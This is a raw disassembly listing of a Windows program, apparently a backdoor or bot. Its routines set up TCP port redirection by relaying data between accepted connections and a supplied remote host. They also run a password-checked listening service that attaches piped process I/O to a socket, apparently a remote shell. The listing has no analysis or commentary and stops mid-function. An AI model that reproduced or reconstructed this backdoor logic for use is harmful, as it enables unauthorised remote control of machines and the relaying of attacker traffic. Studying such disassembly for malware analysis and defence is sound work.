; ---------------------------------------------------------------------------

loc_410C70:				; CODE XREF: sub_410B14+A0j
		cmp	[ebp+var_8], esi
		jnz	short loc_410C9C

loc_410C75:				; CODE XREF: sub_410B14+47j
					; sub_410B14+6Bj ...
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_44AFB4
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_415A3C
		add	esp, 10h

loc_410C9C:				; CODE XREF: sub_410B14+15Fj
		push	ebx
		call	dword_4E3120	; closesocket
		push	[ebp+var_4]
		call	dword_4E3120	; closesocket
		push	[ebp+arg_0]
		call	sub_40B9A7
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_410B14	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_410CBF	proc near		; DATA XREF: sub_401C87+61EDo

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	dword_4E3088	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_4E3108	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_410E2A
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_455FCC[ecx], eax
		call	dword_4E2F98	; WSAAsyncSelect
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30B4	; bind
		test	eax, eax
		jnz	loc_410E2A
		push	0Ah
		push	[ebp+arg_0]
		call	dword_4E30B0	; listen
		test	eax, eax
		jnz	loc_410E2A

loc_410D6F:				; CODE XREF: sub_410CBF+C6j
					; sub_410CBF+166j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E311C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410D6F
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_44AFE0
		push	eax
		call	sub_41EA60
		push	edi
		lea	eax, [ebp+var_350]
		push	18h
		push	eax
		call	sub_40B691
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_455FC4[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_410E4F
		push	esi
		push	esi
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_455FD4[ecx], eax
		jnz	short loc_410E20
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44B028
		call	sub_415AB0
		pop	ecx
		pop	ecx
		jmp	short loc_410E2D
; ---------------------------------------------------------------------------

loc_410E18:				; CODE XREF: sub_410CBF+164j
		push	32h
		call	dword_4F534C	; Sleep

loc_410E20:				; CODE XREF: sub_410CBF+142j
		cmp	[ebp+var_30], esi
		jz	short loc_410E18
		jmp	loc_410D6F
; ---------------------------------------------------------------------------

loc_410E2A:				; CODE XREF: sub_410CBF+63j
					; sub_410CBF+97j ...
		mov	edi, [ebp+arg_0]

loc_410E2D:				; CODE XREF: sub_410CBF+157j
		push	edi
		call	dword_4E3120	; closesocket
		push	[ebp+arg_0]
		call	dword_4E3120	; closesocket
		push	[ebp+var_40]
		call	sub_40B9A7
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_410CBF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_410E4F	proc near		; DATA XREF: sub_410CBF+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41EF80
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp+var_4], ebx
		call	dword_4E3108	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_410FB2
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_4E3088	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4E30C8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_410EDF
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4E310C	; gethostbyname
		jmp	short loc_410EED
; ---------------------------------------------------------------------------

loc_410EDF:				; CODE XREF: sub_410E4F+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4E3040	; gethostbyaddr

loc_410EED:				; CODE XREF: sub_410E4F+8Ej
		cmp	eax, edi
		jz	loc_410FB2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4E3030	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_410FB2
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_44B068
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_344]
		push	18h
		push	eax
		call	sub_40B691
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_455FCC[ebx]
		mov	dword_455FC4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_455FD0[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_411037
		push	edi
		push	edi
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_455FD4[ecx], eax
		jnz	short loc_410FEB
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44B0B0
		call	sub_415AB0
		pop	ecx
		pop	ecx

loc_410FB2:				; CODE XREF: sub_410E4F+44j
					; sub_410E4F+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_455FCC[eax]
		call	dword_4E3120	; closesocket
		push	[ebp+arg_0]
		call	dword_4E3120	; closesocket
		push	[ebp+var_4]
		call	sub_40B9A7
		pop	ecx
		push	edi
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx

loc_410FE3:				; CODE XREF: sub_410E4F+19Fj
		push	32h
		call	dword_4F534C	; Sleep

loc_410FEB:				; CODE XREF: sub_410E4F+14Ej
		cmp	[ebp+var_20], edi
		jz	short loc_410FE3
		mov	ebx, 1000h

loc_410FF5:				; CODE XREF: sub_410E4F+1E1j
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4E30A0	; recv
		cmp	eax, edi
		jle	short loc_410FB2
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30D8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410FF5
		jmp	loc_410FB2
sub_410E4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411037	proc near		; DATA XREF: sub_410E4F+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41EF80
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_41106E:				; CODE XREF: sub_411037+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_455FD0[esi]
		call	dword_4E30A0	; recv
		test	eax, eax
		jle	short loc_4110B5
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_455FCC[esi]
		call	dword_4E30D8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41106E

loc_4110B5:				; CODE XREF: sub_411037+61j
		push	dword_455FD0[esi]
		call	dword_4E3120	; closesocket
		push	[ebp+var_14]
		call	sub_40B9A7
		pop	ecx
		push	0
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_411037	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110D4	proc near		; DATA XREF: sub_411349+1BEo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_3D4]
		inc	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_455FCC[eax]
		xor	edi, edi
		mov	[ebp+var_C], 1Eh
		mov	[ebp+var_8], edi
		mov	eax, [esi]
		mov	[ebp+var_1F4], ebx
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	dword_4E3070	; select
		test	eax, eax
		jnz	short loc_411158
		push	dword ptr [esi]
		call	dword_4E3120	; closesocket
		push	[ebp+arg_0]
		call	sub_40B9A7
		pop	ecx
		push	edi
		call	dword_4F53A0	; ExitThread

loc_411158:				; CODE XREF: sub_4110D4+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4E30A0	; recv
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4112D9
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4112D9
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4112D9
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	dword_4E2FDC	; getpeername
		test	eax, eax
		jz	short loc_4111D1
		call	dword_4E301C	; WSAGetLastError
		push	eax
		push	offset unk_44B0F0
		call	sub_415AB0
		push	[ebp+arg_0]
		call	sub_40B9A7
		add	esp, 0Ch
		push	edi
		call	dword_4F53A0	; ExitThread

loc_4111D1:				; CODE XREF: sub_4110D4+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	dword_4E3040	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_4111FB
		push	[ebp+var_18]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_41EA60
		jmp	short loc_411209
; ---------------------------------------------------------------------------

loc_4111FB:				; CODE XREF: sub_4110D4+10Dj
		push	dword ptr [eax]
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_41F620

loc_411209:				; CODE XREF: sub_4110D4+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_4E5DE0
		push	dword ptr [esi]
		call	dword_4E30D8	; send
		cmp	dword_4E5DD8, edi
		jnz	short loc_41126B
		push	[ebp+var_18]
		lea	eax, [ebp+var_350]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41131A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41126B
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4E30D8	; send
		push	dword ptr [esi]
		call	dword_4E3120	; closesocket
		push	[ebp+arg_0]
		call	sub_40B9A7
		pop	ecx
		push	edi
		call	dword_4F53A0	; ExitThread

loc_41126B:				; CODE XREF: sub_4110D4+14Cj
					; sub_4110D4+16Dj
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_44B130
		call	sub_415AB0
		push	[ebp+arg_0]
		call	sub_4115D0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4112B2
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44B158
		call	sub_415AB0
		push	[ebp+arg_0]
		call	sub_40B9A7
		add	esp, 0Ch
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_4112B2:				; CODE XREF: sub_4110D4+1B9j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_44B184
		call	sub_415AB0
		push	[ebp+arg_0]
		call	sub_40B9A7
		add	esp, 10h
		push	edi
		call	dword_4F53A0	; ExitThread
sub_4110D4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4112D9	proc near		; CODE XREF: sub_4110D4+9Ap
					; sub_4110D4+A7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]

loc_4112E0:				; CODE XREF: sub_4112D9+2Aj
		push	0
		lea	eax, [ebp+arg_4+3]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30A0	; recv
		cmp	eax, 1
		jnz	short loc_411316
		mov	al, byte ptr [ebp+arg_4+3]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41130B
		test	al, al
		jnz	short loc_4112E0
		xor	eax, eax
		inc	eax

loc_411308:				; CODE XREF: sub_4112D9+3Fj
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41130B:				; CODE XREF: sub_4112D9+26j
		push	offset unk_44B1B0
		call	sub_415AB0
		pop	ecx

loc_411316:				; CODE XREF: sub_4112D9+1Bj
		xor	eax, eax
		jmp	short loc_411308
sub_4112D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41131A	proc near		; CODE XREF: sub_4110D4+163p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411345
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset unk_44B1DC
		call	sub_415AB0
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_411345:				; CODE XREF: sub_41131A+11j
		xor	eax, eax
		inc	eax
		retn
sub_41131A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411349	proc near		; DATA XREF: sub_401C87+235Eo

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		xor	edi, edi
		inc	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	dword_4E2FF8	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_4113A2
		push	eax
		push	offset unk_44B214
		call	sub_415AB0
		push	[ebp+var_4C]
		call	sub_40B9A7
		add	esp, 0Ch
		push	edi
		call	dword_4F53A0	; ExitThread

loc_4113A2:				; CODE XREF: sub_411349+3Aj
		push	edi
		push	offset loc_4115C6
		call	dword_4F53F8	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_4113DB
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44B240
		call	sub_415AB0
		pop	ecx
		pop	ecx
		call	dword_4E2FE0	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40B9A7
		pop	ecx
		push	edi
		call	dword_4F53A0	; ExitThread

loc_4113DB:				; CODE XREF: sub_411349+67j
		push	ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	[ebp+var_50]
		call	dword_4E3088	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	dword_4E3108	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_411551
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	dword_455FCC[eax], ebx
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	dword_4E30B4	; bind
		test	eax, eax
		jnz	loc_411551
		push	7FFFFFFFh
		push	ebx
		call	dword_4E30B0	; listen
		test	eax, eax
		jnz	loc_411551
		push	offset unk_44B284
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_415A3C
		pop	ecx
		mov	[ebp+arg_0], edi

loc_41146A:				; CODE XREF: sub_411349+15Aj
					; sub_411349+203j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	dword_4E311C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_411554
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	dword_4E3068	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41146A
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_44B2C0
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415A3C
		push	edi
		lea	eax, [ebp+var_414]
		push	9
		push	eax
		call	sub_40B691
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	dword_455FC4[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_4110D4
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_455FD4[ecx], eax
		jnz	short loc_411547
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44B304
		call	sub_415AB0
		pop	ecx
		pop	ecx
		jmp	short loc_411554
; ---------------------------------------------------------------------------

loc_41153F:				; CODE XREF: sub_411349+201j
		push	32h
		call	dword_4F534C	; Sleep

loc_411547:				; CODE XREF: sub_411349+1DFj
		cmp	[ebp+var_38], esi
		jz	short loc_41153F
		jmp	loc_41146A
; ---------------------------------------------------------------------------

loc_411551:				; CODE XREF: sub_411349+C8j
					; sub_411349+ECj ...
		mov	edi, [ebp+arg_0]

loc_411554:				; CODE XREF: sub_411349+13Cj
					; sub_411349+1F4j
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_44B340
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_411594
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_40]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_214]
		call	sub_409C75
		add	esp, 14h

loc_411594:				; CODE XREF: sub_411349+229j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415A3C
		pop	ecx
		push	edi
		call	dword_4E3120	; closesocket
		push	ebx
		call	dword_4E3120	; closesocket
		call	dword_4E2FE0	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40B9A7
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread
		pop	ebx

loc_4115C6:				; DATA XREF: sub_411349+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_411349	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4115D0	proc near		; CODE XREF: sub_4110D4+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411725
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_455FCC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_4F5350
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4118F7
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_41163F
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44B378
		call	sub_415AB0
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		xor	eax, eax
		jmp	loc_41171F
; ---------------------------------------------------------------------------

loc_41163F:				; CODE XREF: sub_4115D0+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411995
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411680
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44B3C0
		call	sub_415AB0
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	dword_4F5380	; TerminateThread
		xor	eax, eax
		jmp	loc_411720
; ---------------------------------------------------------------------------

loc_411680:				; CODE XREF: sub_4115D0+86j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	dword_4F53FC	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_4116DA
		dec	eax
		jz	short loc_4116D4
		dec	eax
		jz	short loc_4116C0
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44B408
		call	sub_415AB0
		pop	ecx
		pop	ecx
		jmp	short loc_4116EF
; ---------------------------------------------------------------------------

loc_4116C0:				; CODE XREF: sub_4115D0+D9j
		mov	edi, dword_4F5380
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_4116EF
; ---------------------------------------------------------------------------

loc_4116D4:				; CODE XREF: sub_4115D0+D6j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4116DE
; ---------------------------------------------------------------------------

loc_4116DA:				; CODE XREF: sub_4115D0+D3j
		push	ebx
		push	dword ptr [esi+14h]

loc_4116DE:				; CODE XREF: sub_4115D0+108j
		call	dword_4F5380	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	dword_4F53C4	; TerminateProcess

loc_4116EF:				; CODE XREF: sub_4115D0+EEj
					; sub_4115D0+102j
		push	dword ptr [esi+10h]
		mov	edi, dword_4F533C
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4E3120	; closesocket
		push	esi
		call	sub_41C9D0
		xor	eax, eax
		inc	eax

loc_41171F:				; CODE XREF: sub_4115D0+6Aj
		pop	ecx

loc_411720:				; CODE XREF: sub_4115D0+ABj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4115D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411725	proc near		; CODE XREF: sub_4115D0+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BE40
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_41180F
		mov	ebx, dword_4F53D0
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, dword_4F533C
		test	eax, eax
		jnz	short loc_411788
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44B440
		jmp	short loc_4117A8
; ---------------------------------------------------------------------------

loc_411788:				; CODE XREF: sub_411725+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_4117B0
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44B480

loc_4117A8:				; CODE XREF: sub_411725+61j
		call	sub_415AB0
		pop	ecx
		jmp	short loc_4117DE
; ---------------------------------------------------------------------------

loc_4117B0:				; CODE XREF: sub_411725+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_41181E
